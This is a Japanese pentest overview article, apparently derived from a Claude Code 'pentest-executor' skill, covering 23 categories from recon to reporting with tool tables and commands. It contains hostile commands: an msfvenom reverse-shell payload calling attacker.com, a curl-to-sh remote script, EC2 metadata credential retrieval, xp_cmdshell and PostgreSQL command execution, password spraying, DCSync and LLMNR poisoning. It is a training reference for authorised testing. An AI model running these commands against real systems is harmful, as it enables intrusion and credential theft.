ペネトレーションテスト(以下ペンテスト)は、実際の攻撃者と同じ手法でシステムの脆弱性を検証するセキュリティテストです。本記事では、PTES(Penetration Testing Execution Standard)のフェーズ順に沿った23カテゴリの体系で、Webアプリケーション診断から企業インフラまでを網羅的に解説します。
本記事の内容は、Claude Code 用ペンテスト実行スキル pentest-executor のナレッジベース(23カテゴリ・24,000行超)をもとに構成しています。各カテゴリの詳細なコマンドリファレンスやツールオプションは、以下のリポジトリで公開しています。
# Claude Code へのインストール
claude install-skill https://github.com/nogataka/pentest-executor
本記事の内容は、正当な認可を得たセキュリティテスト・CTF・教育目的でのみ使用してください。認可のないシステムへの攻撃は法律で禁止されています。
全体像 — ペンテストの流れ
ペンテストは大きく「計画→偵察→分析→攻撃→後処理→報告」の流れで進みます。各フェーズの出力が次のフェーズの入力となり、段階的にターゲットの全容を明らかにしていきます。
本記事ではこの流れに沿い、以下の23カテゴリを順に解説します。
| フェーズ | # | カテゴリ | 概要 |
|---|---|---|---|
| 計画 | 01 | Methodology | 方法論・フレームワーク選定 |
| 偵察 | 02 | Reconnaissance | OSINT・サブドメイン列挙・DNS調査 |
| 分析 | 03 | Scanning | ネットワーク/ポートスキャン |
| 分析 | 04 | Vulnerability Scanning | 脆弱性スキャナ・Webスキャナ |
| 攻撃 | 05 | Web Application Testing | SQLi・XSS・ディレクトリ探索 |
| 攻撃 | 06 | API Testing | REST/GraphQL/gRPC・JWT攻撃 |
| 攻撃 | 07 | Password Attacks | クラック・ブルートフォース |
| 攻撃 | 08 | Exploitation | Metasploit・ペイロード生成 |
| 後処理 | 09 | Privilege Escalation | Linux/Windows権限昇格 |
| 後処理 | 10 | Active Directory | AD攻撃・Kerberos・横展開 |
| 後処理 | 11 | Post-Exploitation | 永続化・データ収集・痕跡消去 |
| 専門 | 12 | Wireless Attacks | Wi-Fi攻撃・WPA/WPA2 |
| 専門 | 13 | Network Attacks | MITM・スニッフィング |
| 専門 | 14 | Social Engineering | フィッシング・SE |
| 専門 | 15 | Cloud Pentesting | AWS/Azure/GCP |
| 専門 | 16 | Mobile App Testing | Android/iOS診断 |
| 専門 | 17 | Container & Kubernetes | コンテナエスケープ・K8s攻撃 |
| 専門 | 18 | Binary Exploitation | リバースエンジニアリング・BOF |
| 横断 | 19 | OWASP Top 10 | OWASP Top 10 (2021) |
| 報告 | 20 | Reporting | レポート構成・リスク評価 |
| 企業インフラ | 21 | Email Security | SPF/DKIM/DMARC・Exchange |
| 企業インフラ | 22 | Database Attacks | MSSQL/Oracle/PostgreSQL/MySQL |
| 企業インフラ | 23 | VPN / Remote Access | SSL VPN/IPSec/RDP/SSH |
01. Methodology — 方法論
ペンテストを始める前に、適切な方法論を選択する必要があります。方法論はテストの範囲・深さ・報告形式を規定し、テスト全体の品質を左右します。
主要フレームワーク
| フレームワーク | 特徴 | 適用場面 |
|---|---|---|
| PTES | 7フェーズの実践的ガイド。企業ペンテストで最も広く採用されています | 一般的なペンテスト全般 |
| OWASP Testing Guide | Webアプリに特化した体系的テストケース | Webアプリケーション診断 |
| NIST SP800-115 | 米国政府系の技術的テストガイドライン | コンプライアンス要件のあるテスト |
| MITRE ATT&CK | 実際の攻撃手法をTTP(Tactics, Techniques, Procedures)で分類 | レッドチーム演習、検知能力評価 |
事前交渉(Pre-engagement)
テスト実施前に以下を明確にします。
- スコープ定義: テスト対象のIP/ドメイン/アプリケーションの特定
- Rules of Engagement: 禁止行為・テスト時間帯・エスカレーション手順
- テスト種別: Black Box(情報なし)/ Gray Box(一部情報あり)/ White Box(全情報提供)
- 認可の取得: 書面による明示的な許可。これがなければテストは開始できません
ペンテストの成否は事前準備で決まると言っても過言ではありません。スコープの曖昧さは法的リスクに直結するため、書面での合意を必ず取得してください。
02. Reconnaissance — 偵察
ターゲットに関する情報を収集する最初のフェーズです。ここで得られる情報の質が、後続フェーズの成否を大きく左右します。
パッシブ偵察とアクティブ偵察
| 区分 | 説明 | 検出リスク |
|---|---|---|
| パッシブ | 公開情報のみ利用。ターゲットに直接アクセスしません | なし |
| アクティブ | ターゲットに直接アクセスします | あり |
パッシブ偵察はWHOIS検索・検索エンジン・証明書透過性ログなどを利用します。アクティブ偵察はポートスキャンやDNSブルートフォースなど、ターゲットに直接通信を発生させる手法です。
主要ツール
| ツール | 用途 |
|---|---|
| theHarvester | メール・サブドメイン・IPの自動収集 |
| Amass | OWASP公式のサブドメイン列挙ツール |
| Recon-ng | モジュラー型OSINTフレームワーク |
| Shodan / Censys | インターネット接続デバイスの検索エンジン |
| DNSRecon | DNS列挙・ゾーン転送テスト |
基本的なコマンド例
# theHarvester でドメイン情報を収集
theHarvester -d target.com -b google,bing,dnsdumpster
# Amass でサブドメインを列挙
amass enum -d target.com -o subdomains.txt
# DNSRecon でゾーン転送を試行
dnsrecon -d target.com -t axfr
偵察フェーズで発見したサブドメインやIPアドレスが、攻撃フェーズでのターゲットとなります。見落としがあると脆弱なサービスを発見できないため、複数のツールを組み合わせて網羅的に調査することが重要です。
03. Scanning — スキャニング
偵察で発見したホストに対して、開放ポート・稼働サービス・OSを特定するフェーズです。
主要ツール
| ツール | 用途 |
|---|---|
| Nmap | 最も広く使われるポートスキャナ。サービス検出・OS判定・NSEスクリプトに対応 |
| Masscan | 超高速ポートスキャン。大規模ネットワーク向け |
| Netdiscover | ARPベースのLAN内ホスト検出 |
Nmap の代表的なスキャン手法
# TCP SYN スキャン(ステルススキャン)
nmap -sS -p- -T4 target.com
# サービスバージョン検出 + OS判定
nmap -sV -O target.com
# 特定ポートに対するNSEスクリプト実行
nmap --script=vuln -p 80,443 target.com
# UDP スキャン(主要ポートのみ)
nmap -sU --top-ports 100 target.com
Nmap のオプションは膨大ですが、-sS(SYNスキャン)、-sV(バージョン検出)、-O(OS判定)の3つが基本となります。大規模ネットワークでは Masscan で全ポートを高速スキャンし、発見したポートに対して Nmap で詳細調査を行うのが効率的です。
04. Vulnerability Scanning — 脆弱性スキャニング
発見したサービスに対して、既知の脆弱性(CVE)を自動検出するフェーズです。
主要ツール
| ツール | 用途 | ライセンス |
|---|---|---|
| Nessus | 総合脆弱性スキャナ | 商用(Essentials版は無料) |
| OpenVAS (GVM) | オープンソース脆弱性スキャナ | GPL |
| Nikto | Webサーバ特化の脆弱性スキャナ | GPL |
認証スキャンと非認証スキャン
| 方式 | 精度 | 用途 |
|---|---|---|
| 非認証(Unauthenticated) | 低〜中 | 外部攻撃者の視点での評価 |
| 認証(Authenticated) | 高 | SSH/SMB認証情報を使い、内部からパッチ状態を確認 |
非認証スキャンは外部攻撃者の視点に近いですが、誤検知(False Positive)が多い傾向があります。認証スキャンはパッチの適用状態まで正確に把握できるため、Gray Box・White Box テストでは認証スキャンを推奨します。
# Nikto でWebサーバをスキャン
nikto -h https://target.com
# Nmap の脆弱性スクリプトを実行
nmap --script=vuln -p 80,443,8080 target.com
脆弱性スキャナの結果には誤検知が含まれます。スキャン結果を鵜呑みにせず、手動で検証して実際にエクスプロイト可能かを確認することが重要です。
05. Web Application Testing — Webアプリケーション診断
Webアプリケーションに対する体系的なセキュリティテストです。OWASP Testing Guide v4 に準拠し、インジェクション・認証・認可・セッション管理などを包括的に検証します。
主要ツール
| ツール | 用途 |
|---|---|
| Burp Suite | 業界標準のWebプロキシ。インターセプト・スキャン・Intruder |
| OWASP ZAP | オープンソースのWebアプリスキャナ |
| SQLMap | SQL Injectionの自動検出・エクスプロイト |
| Gobuster | ディレクトリ・ファイルの高速列挙 |
主な診断項目
- インジェクション: SQLi、XSS、コマンドインジェクション、XXE
- 認証・セッション管理: ブルートフォース耐性、セッショントークンの強度、ログアウト処理
- 認可制御: IDOR(Insecure Direct Object Reference)、水平/垂直権限昇格
- ビジネスロジック: 価格操作、ステップスキップ、レースコンディション
- 情報漏洩: エラーメッセージ、ディレクトリリスティング、デバッグ情報
# SQLMap で GET パラメータをテスト
sqlmap -u "https://target.com/page?id=1" --batch --dbs
# Gobuster でディレクトリを列挙
gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt
# Burp Suite はGUIベースのため、コマンド例は省略
Webアプリ診断ではツールによる自動スキャンだけでなく、ビジネスロジックの欠陥など自動検出が困難な脆弱性を手動で検証する必要があります。Burp Suite のインターセプト機能でリクエストを改ざんしながら、パラメータ操作やアクセス制御のバイパスを試行します。
06. API Testing — APIセキュリティテスト
REST、GraphQL、gRPC、WebSocket といったAPIの固有の攻撃面を検証します。OWASP API Security Top 10 に準拠した診断を行います。
OWASP API Security Top 10 の主要項目
| # | リスク | 概要 |
|---|---|---|
| API1 | Broken Object Level Authorization | 他ユーザーのリソースに直接アクセス |
| API2 | Broken Authentication | 認証メカニズムの欠陥 |
| API3 | Broken Object Property Level Authorization | オブジェクトのプロパティへの不正アクセス |
| API5 | Broken Function Level Authorization | 管理者機能への不正アクセス |
主な診断手法
-
API仕様の発見:
/swagger.json、/openapi.yaml、GraphQL introspection クエリ - BOLA/IDOR テスト: IDパラメータを変更して他ユーザーのデータにアクセス可能か確認
-
JWT攻撃:
alg: none、鍵の弱さ、トークン改ざん -
Mass Assignment: 想定外のフィールド(
role,isAdmin)をリクエストに追加 - レートリミット: API呼び出しの制限が適切に設定されているか確認
# GraphQL introspection クエリ
curl -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{types{name fields{name}}}}"}'
# JWT の改ざん(jwt_tool を使用)
python3 jwt_tool.py <token> -T
APIのセキュリティテストでは、Webアプリと異なりUIが存在しないため、リクエスト/レスポンスの構造を正確に理解することが前提となります。Swagger/OpenAPI の仕様書が公開されている場合は、最初にそれを入手して全エンドポイントを把握してください。
07. Password Attacks — パスワード攻撃
認証情報の取得を目的とした攻撃手法です。オンライン攻撃(サービスに対する直接試行)とオフライン攻撃(取得済みハッシュの解析)に大別されます。
主要ツール
| ツール | 用途 |
|---|---|
| Hydra | SSH、FTP、HTTP、RDP など50以上のプロトコルに対応したオンラインブルートフォース |
| John the Ripper | マルチフォーマット対応のオフラインハッシュクラッキング |
| Hashcat | GPU 高速ハッシュクラッキング |
| CrackMapExec (NetExec) | Windows/AD 環境でのパスワードスプレー |
攻撃手法
| 手法 | 説明 | 注意点 |
|---|---|---|
| ブルートフォース | 全パターンを総当たり | 時間がかかります。アカウントロックに注意 |
| 辞書攻撃 | ワードリストを使用 | rockyou.txt が定番です |
| パスワードスプレー | 1つのパスワードを多数アカウントに試行 | ロックアウト回避に有効です |
| ルールベースクラック | 辞書にルールを適用して変形 |
Password1! のような変形パターンに有効です |
# Hydra で SSH ブルートフォース
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com
# Hashcat で NTLM ハッシュをクラック
hashcat -m 1000 hashes.txt rockyou.txt -r rules/best64.rule
# CrackMapExec でパスワードスプレー
crackmapexec smb target.com -u users.txt -p 'Spring2026!'
08. Exploitation — エクスプロイト
発見した脆弱性を実際に悪用し、システムへの初期アクセスを獲得するフェーズです。
主要ツール
| ツール | 用途 |
|---|---|
| Metasploit Framework | 2,000以上のエクスプロイトモジュールを持つ統合フレームワーク |
| searchsploit | ExploitDB のローカル検索ツール |
| msfvenom | ペイロード生成ツール(Metasploit 付属) |
Metasploit の基本ワークフロー
# 1. エクスプロイトの検索
msfconsole
msf6> search type:exploit name:apache
# 2. エクスプロイトの選択と設定
msf6> use exploit/multi/http/apache_mod_cgi_bash_env_exec
msf6> set RHOSTS target.com
msf6> set LHOST attacker.com
# 3. ペイロードの選択
msf6> set PAYLOAD linux/x64/meterpreter/reverse_tcp
# 4. 実行
msf6> exploit
# msfvenom でリバースシェルペイロードを生成
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=attacker.com LPORT=4444 -f exe -o shell.exe
エクスプロイトの成功には、ターゲットの正確なバージョン情報と適切なペイロード選択が不可欠です。Metasploit の check コマンドで事前にエクスプロイト可能か確認できる場合もあります。
エクスプロイトはシステムに影響を与える可能性がある操作です。本番環境に対しては、クライアントと事前に合意した範囲内でのみ実行してください。
09. Privilege Escalation — 権限昇格
初期アクセスで得た低権限アカウントから、root や SYSTEM などの高権限を取得するフェーズです。
Linux での権限昇格
| 手法 | 概要 |
|---|---|
| SUID/SGID バイナリ | 特権で実行されるバイナリを悪用します |
| sudo 設定の不備 |
sudo -l で許可されたコマンドを確認し悪用します |
| カーネルエクスプロイト | カーネルの脆弱性を突きます |
| Cron ジョブ | 特権で実行されるスクリプトを改ざんします |
| ケーパビリティ |
cap_setuid 等の危険なケーパビリティを悪用します |
# LinPEAS で列挙
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
# SUID バイナリの検索
find / -perm -4000 -type f 2>/dev/null
# GTFOBins で悪用方法を確認
# https://gtfobins.github.io/
Windows での権限昇格
| 手法 | 概要 |
|---|---|
| サービスの設定不備 | 書き込み可能なサービスバイナリを置換します |
| AlwaysInstallElevated | MSI パッケージを特権でインストールします |
| トークン偽装 | SeImpersonatePrivilege を持つアカウントから昇格します |
| DLL ハイジャック | DLL 検索パスを悪用します |
# WinPEAS で列挙
.\winPEASx64.exe
# サービスのパーミッション確認
accesschk.exe -uwcqv "Everyone" * /accepteula
権限昇格は LinPEAS / WinPEAS などの自動列挙ツールで候補を洗い出し、GTFOBins(Linux)や LOLBAS(Windows)で具体的な悪用方法を確認するのが定石です。
10. Active Directory — Active Directory 攻撃
企業ネットワークの中枢である Active Directory(AD)に対する攻撃手法です。初期アクセスからドメイン管理者権限の取得(Domain Dominance)までの攻撃チェーンを扱います。
主要ツール
| ツール | 用途 |
|---|---|
| BloodHound | AD内の権限関係を可視化し、攻撃パスを発見します |
| Mimikatz | メモリからの認証情報抽出・DCSync |
| Impacket | Python製のAD攻撃ツールキット |
| Rubeus | C#製のKerberos攻撃フレームワーク |
| CrackMapExec | 多目的AD後処理ツール |
主要な攻撃手法
Kerberos 攻撃
| 手法 | 概要 |
|---|---|
| Kerberoasting | SPN が設定されたアカウントのサービスチケットをオフラインクラックします |
| AS-REP Roasting | Kerberos事前認証が無効なアカウントのハッシュを取得します |
| Golden Ticket | krbtgt ハッシュからTGTを偽造し、ドメイン全体を掌握します |
| Silver Ticket | サービスアカウントのハッシュからSTを偽造します |
| Diamond Ticket | 正規TGTのPACを改ざんする検出回避手法です |
横展開
| 手法 | 概要 |
|---|---|
| Pass-the-Hash | NTLMハッシュで認証します |
| Pass-the-Ticket | Kerberosチケットで認証します |
| DCSync | ドメインコントローラからハッシュを複製します |
委任攻撃
| 手法 | 概要 |
|---|---|
| Unconstrained Delegation | TGTがキャッシュされるサーバを悪用します |
| Constrained Delegation | S4U2Self/S4U2Proxy を悪用して任意のサービスにアクセスします |
| RBCD | Resource-Based Constrained Delegation。msDS-AllowedToActOnBehalfOfOtherIdentity を書き換えます |
AD CS(Active Directory Certificate Services)攻撃
ESC1〜ESC8 と呼ばれる証明書サービスの脆弱性を利用し、ドメイン管理者への権限昇格を狙います。Certipy が主要な攻撃ツールです。
# BloodHound 用データ収集
bloodhound-python -d domain.local -u user -p pass -c all
# Kerberoasting
impacket-GetUserSPNs domain.local/user:pass -request -outputfile kerberoast.txt
# DCSync
impacket-secretsdump domain.local/admin:pass@dc01.domain.local
AD攻撃では BloodHound で攻撃パスを可視化することが極めて重要です。手動での列挙では見落としやすい多段の権限関係を、グラフデータベースで網羅的に分析できます。
11. Post-Exploitation — ポストエクスプロイテーション
初期アクセスと権限昇格の後、永続化・データ収集・痕跡消去を行うフェーズです。
主な活動
| 活動 | 概要 | 代表ツール |
|---|---|---|
| 永続化 | 再起動後もアクセスを維持します | Scheduled Tasks, Registry, WMI Event |
| C2通信 | コマンド&コントロール | dnscat2, Chisel, Cobalt Strike |
| データ収集 | 機密情報を収集します | Mimikatz, LaZagne |
| Exfiltration | データを持ち出します | DNS tunneling, HTTPS |
| 痕跡消去 | ログを改ざん・削除します | イベントログクリア |
| 防御回避 | EDR/AMSI をバイパスします | AMSI bypass, ETW patching |
ペンテストにおけるポストエクスプロイテーションは、実際のデータ持ち出しや永続化を行うのではなく、「それが可能であること」を証明することが目的です。ただし、報告のためのエビデンスは確実に取得する必要があります。
12. Wireless Attacks — 無線攻撃
Wi-Fi ネットワークのセキュリティ評価を行います。WPA/WPA2 の認証メカニズムに対する攻撃が中心です。
主要ツール
| ツール | 用途 |
|---|---|
| aircrack-ng | ハンドシェイクキャプチャとクラッキング |
| Hcxdumptool | PMKID キャプチャ |
| bettercap | Evil Twin・MITM |
攻撃手法
| 手法 | 対象 | 概要 |
|---|---|---|
| 4-way ハンドシェイクキャプチャ | WPA/WPA2 | Deauth でクライアントを切断し、再接続時のハンドシェイクを取得します |
| PMKID 攻撃 | WPA2 PSK | クライアントの接続なしでハッシュを取得できます |
| WPS Pixie Dust | WPS有効AP | WPS PINをオフラインで解析します |
| Evil Twin | 全般 | 偽APを立ててクライアントを接続させます |
# モニターモードに切り替え
airmon-ng start wlan0
# ハンドシェイクのキャプチャ
airodump-ng -c <channel> --bssid <BSSID> -w capture wlan0mon
# オフラインクラック
aircrack-ng -w rockyou.txt capture-01.cap
13. Network Attacks — ネットワーク攻撃
ネットワーク層での中間者攻撃(MITM)やスニッフィングによる認証情報の傍受を行います。
主要ツール
| ツール | 用途 |
|---|---|
| Wireshark | GUI パケットアナライザ |
| Responder | LLMNR/NBT-NS/mDNS ポイズニング |
| Bettercap | ARP スプーフィング・MITM |
| tcpdump | CLI パケットキャプチャ |
主な攻撃手法
- ARP スプーフィング: ゲートウェイとターゲット間のトラフィックを傍受します
- LLMNR/NBT-NS ポイズニング: Windows のローカル名前解決プロトコルを悪用し、NTLMハッシュを取得します
- DNS スプーフィング: DNSレスポンスを偽造してフィッシングサイトに誘導します
# Responder で LLMNR/NBT-NS ポイズニング
responder -I eth0 -dwP
# Bettercap で ARP スプーフィング
bettercap -iface eth0 -eval "net.probe on; arp.spoof on; net.sniff on"
Responder による LLMNR ポイズニングは、AD環境で最も成功率の高い初期アクセス手法の一つです。ネットワーク内でリスニングするだけでNTLMハッシュが取得できるため、ペンテストの初手として有効です。
14. Social Engineering — ソーシャルエンジニアリング
技術的な対策では防ぎきれない「人」の脆弱性を検証します。フィッシングメールの送信やプリテキスティング(なりすまし電話)が主な手法です。
主要ツール
| ツール | 用途 |
|---|---|
| GoPhish | フィッシングキャンペーン管理 |
| Evilginx2 | リバースプロキシ型フィッシング。MFAバイパスが可能 |
| SET (Social Engineer Toolkit) | 多目的SEフレームワーク |
攻撃シナリオ
| 手法 | 概要 |
|---|---|
| スピアフィッシング | 特定の個人を標的としたメールです |
| ビッシング | 電話によるなりすましです |
| スミッシング | SMSによるフィッシングです |
| プリテキスティング | 架空のシナリオでの情報聞き出しです |
GoPhish でフィッシングキャンペーンを作成し、メールの開封率・リンクのクリック率・認証情報の入力率を計測します。Evilginx2 はリバースプロキシとして動作し、正規サイトとの間に入ることでMFA(多要素認証)を含む認証情報をリアルタイムで傍受できます。
15. Cloud Pentesting — クラウドペンテスト
AWS、Azure、GCP のクラウド環境に特化した攻撃面を検証します。オンプレミスとは異なるクラウド固有の脅威モデルへの理解が必要です。
主要ツール
| ツール | 対象 | 用途 |
|---|---|---|
| Pacu | AWS | AWS専用ペンテストフレームワーク |
| ScoutSuite | 全クラウド | マルチクラウド設定監査 |
| Prowler | AWS/Azure/GCP | セキュリティベストプラクティス監査 |
クラウド固有の攻撃面
| 攻撃面 | 概要 |
|---|---|
| IAM 設定不備 | 過剰な権限付与、ワイルドカードポリシー |
| 公開ストレージ | S3バケット、Azure Blob、GCS の公開設定 |
| メタデータAPI | EC2 Instance Metadata(169.254.169.254)からの認証情報取得 |
| サーバレス | Lambda/Functions の権限昇格 |
| シークレット管理 | 環境変数やコード内のハードコード認証情報 |
# S3 バケットの公開チェック
aws s3 ls s3://bucket-name --no-sign-request
# EC2 メタデータからIAMロール認証情報を取得
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# ScoutSuite で AWS 環境を監査
scout aws
16. Mobile App Testing — モバイルアプリ診断
Android / iOS アプリケーションのクライアントサイド・通信・サーバサイドを包括的に検証します。OWASP MASVS(Mobile Application Security Verification Standard)に準拠します。
主要ツール
| ツール | 用途 |
|---|---|
| Frida | ランタイム動的計装。関数フック・暗号化バイパス |
| objection | Frida ラッパー。モバイル診断の自動化 |
| MobSF | 静的/動的解析の統合プラットフォーム |
| APKTool | Android APK のデコンパイル・リビルド |
| jadx | DEX → Java のデコンパイラ |
主な診断項目
- ローカルストレージ: SharedPreferences、SQLite、Keychain/Keystore の暗号化状態
- 証明書ピンニング: バイパス可能かを Frida で検証します
- API通信: 中間者攻撃による通信内容の傍受と改ざん
- バイナリ保護: 難読化・改ざん検知・ルート/脱獄検出の有効性
# objection で Android アプリに接続
objection -g com.target.app explore
# 証明書ピンニングをバイパス
objection -g com.target.app explore -s "android sslpinning disable"
# APK のデコンパイル
apktool d target.apk -o output/
17. Container & Kubernetes — コンテナ/K8s セキュリティ
Docker コンテナや Kubernetes クラスタに対するセキュリティ評価を行います。コンテナエスケープやK8sのRBAC不備が主な攻撃面です。
主要ツール
| ツール | 用途 |
|---|---|
| Trivy | コンテナイメージ・K8sの脆弱性スキャン |
| kube-hunter | K8sクラスタの脆弱性スキャン |
| CDK | コンテナ内からの攻撃・エスケープツール |
| deepce | Docker列挙・エスケープ検出 |
主な攻撃手法
| 手法 | 概要 |
|---|---|
| コンテナエスケープ | 特権コンテナやマウントされたソケットを悪用してホストに脱出します |
| API Server の不正アクセス | 匿名認証や弱いRBACを利用します |
| etcd からの機密情報取得 | 暗号化されていない etcd から Secret を直接読み取ります |
| Service Account トークン悪用 | Pod内のトークンで K8s API に認証します |
# Trivy でイメージをスキャン
trivy image target-image:latest
# kube-hunter でクラスタをスキャン
kube-hunter --remote target-cluster
# 特権コンテナからのエスケープ確認
deepce.sh
18. Binary Exploitation — バイナリ解析
コンパイル済みの実行ファイルを解析し、メモリ破壊系の脆弱性(バッファオーバーフロー等)を発見・エクスプロイトします。CTFでも頻出の領域です。
主要ツール
| ツール | 用途 |
|---|---|
| Ghidra | NSA開発のリバースエンジニアリングフレームワーク |
| GDB + pwndbg | 動的デバッグとエクスプロイト開発 |
| pwntools | Python製エクスプロイト開発ライブラリ |
| ROPgadget | ROPチェーン用ガジェットの検索 |
主な攻撃手法
| 手法 | 概要 |
|---|---|
| バッファオーバーフロー | スタック上のリターンアドレスを上書きします |
| ROP (Return-Oriented Programming) | NX/DEP が有効な環境での制御フロー乗っ取り |
| フォーマット文字列攻撃 |
printf 等の書式指定を悪用します |
| Use-After-Free | 解放済みメモリを再利用します |
保護機構と回避
| 保護機構 | 回避手法 |
|---|---|
| NX/DEP | ROP チェーン |
| ASLR | 情報リーク、Partial Overwrite |
| Stack Canary | カナリア値のリーク |
| RELRO | Full RELRO の場合は GOT 上書き不可 |
# pwntools でのエクスプロイト例
from pwn import *
p = process('./vuln')
payload = b'A' * 64 # padding
payload += p64(0xdeadbeef) # return address
p.sendline(payload)
p.interactive()
19. OWASP Top 10 — Webアプリの主要リスク
OWASP Top 10 (2021) は、Webアプリケーションにおける最も重大な10のセキュリティリスクを定義しています。ペンテストの診断項目として横断的に参照されます。
| # | カテゴリ | 概要 |
|---|---|---|
| A01 | アクセス制御の不備 | 認可チェックの欠如、IDOR |
| A02 | 暗号化の失敗 | 弱い暗号、平文通信、鍵の露出 |
| A03 | インジェクション | SQL、XSS、OS コマンド、LDAP |
| A04 | 安全でない設計 | ビジネスロジックの欠陥 |
| A05 | セキュリティ設定のミス | デフォルト設定、不要な機能の有効化 |
| A06 | 脆弱で古いコンポーネント | パッチ未適用のライブラリ |
| A07 | 識別と認証の失敗 | ブルートフォース耐性、セッション管理 |
| A08 | ソフトウェアとデータの整合性の失敗 | CI/CDパイプラインの改ざん |
| A09 | セキュリティログと監視の失敗 | ログの不足、アラートの欠如 |
| A10 | SSRF | サーバサイドリクエストフォージェリ |
A01(アクセス制御の不備)が2021年版の最上位であり、最も多く報告されている脆弱性カテゴリです。自動ツールでは検出しにくいため、手動テストの重要性が高くなります。
20. Reporting — レポート
ペンテストの最終成果物であるレポートの構成と品質が、テスト全体の価値を決定します。技術者向けの詳細と経営層向けのサマリーの両方を含める必要があります。
レポート構成
| セクション | 対象読者 | 内容 |
|---|---|---|
| エグゼクティブサマリー | 経営層 | 全体評価(A〜Fランク)、主要リスクの概要 |
| テスト概要 | 全体 | 対象・期間・手法・使用ツール |
| 発見事項詳細 | 技術者 | 脆弱性の再現手順・スクリーンショット・影響範囲 |
| リスクマトリクス | 全体 | 影響度×発生可能性のマッピング |
| 修正提案 | 技術者 | 優先度付きの具体的な修正方法 |
| 付録 | 技術者 | スキャン生データ・ツールバージョン |
発見事項の記録フォーマット
各脆弱性は以下の項目を含めて記録します。
| 項目 | 内容 |
|---|---|
| 深刻度 | Critical / High / Medium / Low / Informational |
| CVSS スコア | 例: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE 番号 | 例: CWE-89(SQL Injection) |
| 対象 | 脆弱なURL/IP/ポート |
| 再現手順 | ステップバイステップの手順 |
| 影響 | ビジネスへの具体的な影響 |
| 修正方法 | 推奨される対策 |
レポートは「脆弱性の一覧」ではなく「ビジネスリスクの評価」であるべきです。経営層が修正の優先度を判断できるよう、ビジネスインパクトを明確に記述してください。
21. Email Security — メールサーバセキュリティ
企業のメールインフラ(SMTP、Exchange、Microsoft 365)に対するセキュリティ評価を行います。メールは依然としてフィッシングの主要な攻撃ベクタであり、認証設定の不備は直接的なリスクとなります。
SPF / DKIM / DMARC 検証
| プロトコル | 目的 | 確認方法 |
|---|---|---|
| SPF | 送信元IPの正当性検証 |
dig txt target.com で SPF レコードを確認 |
| DKIM | メール改ざん検知 | dig txt selector._domainkey.target.com |
| DMARC | SPF/DKIMの処理ポリシー | dig txt _dmarc.target.com |
主な診断項目
- オープンリレー: 第三者がメールサーバを中継に利用できるか
- SMTP認証: 平文認証(PLAIN/LOGIN)が許可されていないか
- Exchange脆弱性: ProxyLogon(CVE-2021-26855)、ProxyShell 等の既知CVE
- OWA ブルートフォース: Outlook Web Access への認証攻撃
- M365 パスワードスプレー: Azure AD に対する認証攻撃
# SPF レコードの確認
dig txt target.com | grep spf
# SMTP オープンリレーテスト
nmap --script smtp-open-relay -p 25 mail.target.com
# DMARC ポリシーの確認
dig txt _dmarc.target.com
22. Database Attacks — データベース固有攻撃
SQLインジェクションとは別に、データベースエンジン固有の攻撃面を検証します。デフォルト認証情報の残存やOS連携機能の悪用が主な攻撃ベクタです。
RDBMS 別の主要攻撃
| DB | 攻撃手法 | 概要 |
|---|---|---|
| MSSQL | xp_cmdshell | OS コマンドを実行します |
| MSSQL | xp_dirtree | UNCパスでNTLMハッシュを強制送信します |
| Oracle | ODAT | Oracle DB 診断の統合ツールです |
| PostgreSQL | COPY TO/FROM PROGRAM | OS コマンドを実行します |
| MySQL | UDF | ユーザー定義関数でコマンドを実行します |
| MySQL | LOAD_FILE / INTO OUTFILE | ファイルの読み書きを行います |
NoSQL
| DB | 攻撃手法 | 概要 |
|---|---|---|
| MongoDB | 演算子インジェクション |
$gt, $ne 等でクエリを改ざんします |
| Redis | SSH鍵の書き込み |
CONFIG SET dir でファイルを書き込みます |
# MSSQL への接続と xp_cmdshell の有効化
impacket-mssqlclient sa:password@target.com
SQL> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
SQL> EXEC xp_cmdshell 'whoami';
# PostgreSQL でのコマンド実行
COPY (SELECT '') TO PROGRAM 'id';
データベースへの攻撃は、データ破壊のリスクを伴います。本番環境のデータベースに対しては、読み取り系の操作に限定するなど、事前にクライアントと合意した範囲を厳守してください。
23. VPN / Remote Access — VPN・リモートアクセス診断
SSL VPN、IPSec VPN、RDP、SSH といったリモートアクセス基盤のセキュリティを評価します。VPNアプライアンスの既知CVEは深刻度が高く、実際のインシデントにも頻繁に利用されています。
SSL VPN の主要CVE
| ベンダー | CVE | 概要 |
|---|---|---|
| Fortinet | CVE-2018-13379 | パストラバーサルによる認証情報漏洩 |
| Pulse Secure | CVE-2019-11510 | 任意ファイル読取 |
| Citrix | CVE-2019-19781 | リモートコード実行 |
| Palo Alto | CVE-2024-3400 | GlobalProtect のコマンドインジェクション |
主な診断項目
- SSL/TLS 設定: 弱い暗号スイート、古いプロトコルバージョン
- IPSec Aggressive Mode: PSK(事前共有鍵)の取得が可能か
- RDP セキュリティ: NLA の有無、BlueKeep(CVE-2019-0708)
- SSH 設定: 弱いアルゴリズム、パスワード認証の可否
# SSL/TLS 設定の診断
testssl.sh https://vpn.target.com
# IKE Aggressive Mode のテスト
ike-scan -M -A vpn.target.com
# SSH の暗号アルゴリズム監査
ssh-audit target.com
# RDP の NLA 確認
nmap --script rdp-enum-encryption -p 3389 target.com
まとめ
本記事では、ペネトレーションテストの全23カテゴリを PTES のフェーズ順に解説しました。
ペンテストの品質は、単一のツールや手法ではなく、体系的なアプローチによって決まります。計画段階での正確なスコープ定義から始まり、偵察→分析→攻撃→後処理→報告の各フェーズを漏れなく実施することが重要です。
以下の3点を改めて強調します。
- 認可が全ての前提: 書面による明示的な認可なしにテストを実施してはなりません
- ツールは手段: 自動ツールの結果を鵜呑みにせず、手動での検証を怠らないでください
- レポートが価値: 発見した脆弱性をビジネスインパクトに翻訳し、修正の優先度を示してください
各カテゴリの詳細な手法・コマンドリファレンスについては、以下のリポジトリを参照してください。24,000行超の実務リファレンスを23カテゴリにわたって提供しています。
# Claude Code へのインストール
claude install-skill https://github.com/nogataka/pentest-executor